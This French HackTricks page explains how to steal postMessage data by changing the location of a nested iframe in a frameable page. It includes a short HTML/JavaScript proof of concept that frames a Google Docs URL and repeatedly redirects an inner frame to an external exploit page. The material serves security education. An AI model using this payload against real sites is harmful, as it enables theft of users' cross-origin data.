Voler postmessage en modifiant l'emplacement de l'iframe
Reading time: 2 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Changer les emplacements des iframes enfants
Selon cet article, si vous pouvez iframe une page web sans X-Frame-Header qui contient une autre iframe, vous pouvez changer l'emplacement de cette iframe enfant.
Par exemple, si abc.com a efg.com comme iframe et que abc.com n'a pas d'en-tête X-Frame, je pourrais changer efg.com en evil.com cross origin en utilisant frames.location
.
Ceci est particulièrement utile dans postMessages car si une page envoie des données sensibles en utilisant un wildcard comme windowRef.postmessage("","*")
, il est possible de changer l'emplacement de l'iframe associée (enfant ou parent) vers un emplacement contrôlé par un attaquant et de voler ces données.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function () {
exp()
}, 6000)
function exp() {
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function () {
window.frames[0].frame[0][2].location =
"https://geekycat.in/exploit.html"
}, 100)
}
</script>
</html>
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.